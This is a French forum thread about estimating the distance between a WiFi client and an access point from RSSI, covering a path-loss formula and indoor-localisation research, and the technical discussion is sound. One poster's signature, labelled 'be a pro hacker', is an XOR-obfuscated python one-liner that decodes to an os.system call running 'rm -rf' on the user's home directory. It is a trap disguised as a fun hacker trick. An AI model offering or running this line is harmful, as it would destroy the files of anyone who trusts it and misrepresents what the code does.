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#1 16-06-2011 02:36:18

algerino
Membre d'Or
Inscription : 12-02-2010
Messages : 409

Calcul distance point d'acces

J'aimerai savoir si il existe un moyen de calculer la distance entre un client et un point d'acces ou un client et plusieurs point d'acces?

merci.


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#2 16-06-2011 10:25:43

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 006

Re : Calcul distance point d'acces

oui. sur google tu vas trouver plein de relations entre gain en dBi et distance. tu dois prendre en compte les obstacles.
Y'a un topic qui donne un lien vers un site blanc sur noir très bien fait avec toutes les relations.


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

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#3 16-06-2011 10:33:39

Ronaldo17
Membre Radioactif
Inscription : 07-11-2010
Messages : 86

Re : Calcul distance point d'acces

aurait-tu le lien du site en question ?

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#4 16-06-2011 12:51:31

algerino
Membre d'Or
Inscription : 12-02-2010
Messages : 409

Re : Calcul distance point d'acces

spaw a ecrit :

Y'a un topic qui donne un lien vers un site blanc sur noir très bien fait avec toutes les relations.

Peux tu nous donner ton lien, ça en aidera d'autres tout comme Ronaldo17 wink


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#5 16-06-2011 13:16:28

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : Calcul distance point d'acces

Je pense que le site en question est celui d'Yves Maguer --> http://yves.maguer.free.fr/WiFi/page_wifi_yves.html
C'est très complet, mais c'est aussi très long (et un peu brouillon) wink

Par contre, pour avoir bossé quelques mois sur la question de la distance (pour de la localisation indoor à partir du WiFi), je peux vous dire que c'est cra-pu-leux ! Même si les équations sont "simples", en environnement intérieur la propagation c'est une vraie crasse. T'as des rebonds partout, des obstacles qui bougent, des interférences...

Bref, ça dépend avec quelle précision vous voulez avoir la mesure... La formule de base sans obstacle c'est ça :

D=lambda/(4*pi)*10^(-(Pr - Pt)/20)
     D = distance entre émetteur et récepteur
     lambda = 0,12 dans le cas du WiFi
     Pr = puissance reçue au récepteur
     Pt = puissance d'émission de l'émetteur

Exemple typique : émetteur de 20 dBm, -45 dBm reçus au récepteur => distance = 17 mètres

Le problème, c'est que la puissance reçue en dBm (le RSSI) est affectée par 2 phénomènes :
- shadowing, ce sont les obstacles
- multipath, l'onde qui rebondit et vient faire interférence avec l'onde originale (atténuation)
Ces 2 phénomènes font que le signal peut perdre jusqu'à 10 ou 20 dBm "pour rien", ce qui fait exploser la distance ! La preuve :
-45 dBm => 17 mètres
-55 dBm => 54 mètres
Alors qu'entre les 2, la cible n'a pas bougé !

Vous n'imaginez pas toute la recherche scientifique et universitaire qui tourne autour de ça, et on a pas encore trouvé de façon efficace d'avoir une bonne estimation de distance wink

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#6 16-06-2011 15:24:48

algerino
Membre d'Or
Inscription : 12-02-2010
Messages : 409

Re : Calcul distance point d'acces

Ok merci, mais une question comment je fais pour calculer la distance entre mon pc portable et mon modem de la dartybox? (commandes, tuto) smile comme ça je pourrai peut être faire un tuto avec et sans les obstacle et y mettre des schémas etc...

Dernière modification par algerino (16-06-2011 15:27:55)


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#7 16-06-2011 15:39:54

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
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Re : Calcul distance point d'acces

Y a pas de commandes ni de tuto disponible, tout simplement parce que ça dépend trop de l'environnement wink

Si tu veux faire le calcul, tu resors ta calculatrice de lycée, tu notes les dBm reçus sur ton portable depuis la box (avec netstumbler sous Windows, ou airodump-ng si ta carte te donne le PWR en dBm) et tu appliques la formule mentionnée plus haut. Mais j'ai bien prévenu que c'est une méthode complètement non fiable en environnement intérieur (et encore + si la distance est inférieure à 3 mètres, mais ça c'est un problème de la norme 802.11)

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#8 16-06-2011 17:22:58

algerino
Membre d'Or
Inscription : 12-02-2010
Messages : 409

Re : Calcul distance point d'acces

ok je te remercie wink


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#9 16-06-2011 21:20:26

Fuji
Membre Irremplaçable
Lieu : Saint Script-sur-Shell
Inscription : 13-12-2010
Messages : 783

Re : Calcul distance point d'acces

Antares145 a écrit :

Vous n'imaginez pas toute la recherche scientifique et universitaire qui tourne autour de ça

Quelles sont les perspectives offertes par cette recherche selon toi Antares pour qu’il y a un tel engouement ?

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#10 16-06-2011 21:48:26

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : Calcul distance point d'acces

(Toi tu vas me faire retaper toute l'intro de mon rapport big_smile)

Dans la tendance big-brotherienne généralisée à l'heure actuelle, pouvoir localiser les gens devient une obsession pour certains smile Ils voudraient avoir l'équivalent du système GPS, mais précis à 1 mètre près à l'intérieur d'un bâtiment (et là je dis bon courage).

En fait, ça s'inscrit dans ce qu'on appelle les RTLS, Real Time Location System. De plus en plus d'entreprises aimeraient pouvoir suivre/tracer les équipements (et accessoirement, les gens) à l'intérieur de leurs locaux. Par exemple, dans un hôpital on veut pouvoir savoir en 3 minutes où se trouve le tout nouveau scanner procotologique DTC-X1337, ou bien où est le cardiologue le plus proche de la chambre 404 parce que la vieille fait encore une attaque... Les sociétés Aeroscout et Ekahau se spécialisent là dedans.
Autre exemple : dans un entrepôt de 200 mètres de long et que tu dois trouver UN container en particulier, t'es content d'avoir un système de localisation un peu précis... Exemple pratique, une marque allemande en 3 lettres a équipé une de ses usines de ce genre de système pour suivre ses véhicules. Y a plein d'applications, y compris dans le marketing : publicité ciblée qui s'affiche dans l'environnement proche de l'utilisateur, etc...

En général, on utilise des technologies plus adaptées pour ça : le meilleur exemple c'est l'UWB (Ultra Wide Band). Mais comme les managers sont fondamentalement rapaces, ils veulent payer le moins possible et donc ils veulent utiliser un réseau déjà existant et déployé (le WiFi) plutôt que de devoir en remettre un autre en plus. C'est une solution un peu bancale, on arrive à un truc qui ressemble à quelque chose via le fingerprinting (tu enregistres le signal tous les 50 cm dans une base de données, puis quand tu dois localiser une cible tu prends le point le plus proche) mais c'est pénible à mettre en place...

Dans le cas particulier du WiFi, il y a aussi la possibilité très tentante de pouvoir localiser en live un mec qui lancerait une attaque sur ton réseau : savoir si ça vient du bureau 42 ou du parking en face, c'est précieux ! smile C'est plutôt là dessus que j'ai travaillé, et même pour atteindre 3 mètres de précision c'était tendu...

Comme tu vois y a donc vraiment des possibilités, de l'argent en jeu (plein !) et donc des ressources R&D allouées wink

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#11 17-06-2011 01:06:32

Fuji
Membre Irremplaçable
Lieu : Saint Script-sur-Shell
Inscription : 13-12-2010
Messages : 783

Re : Calcul distance point d'acces

Ok je vois mieux maintenant, merci smile

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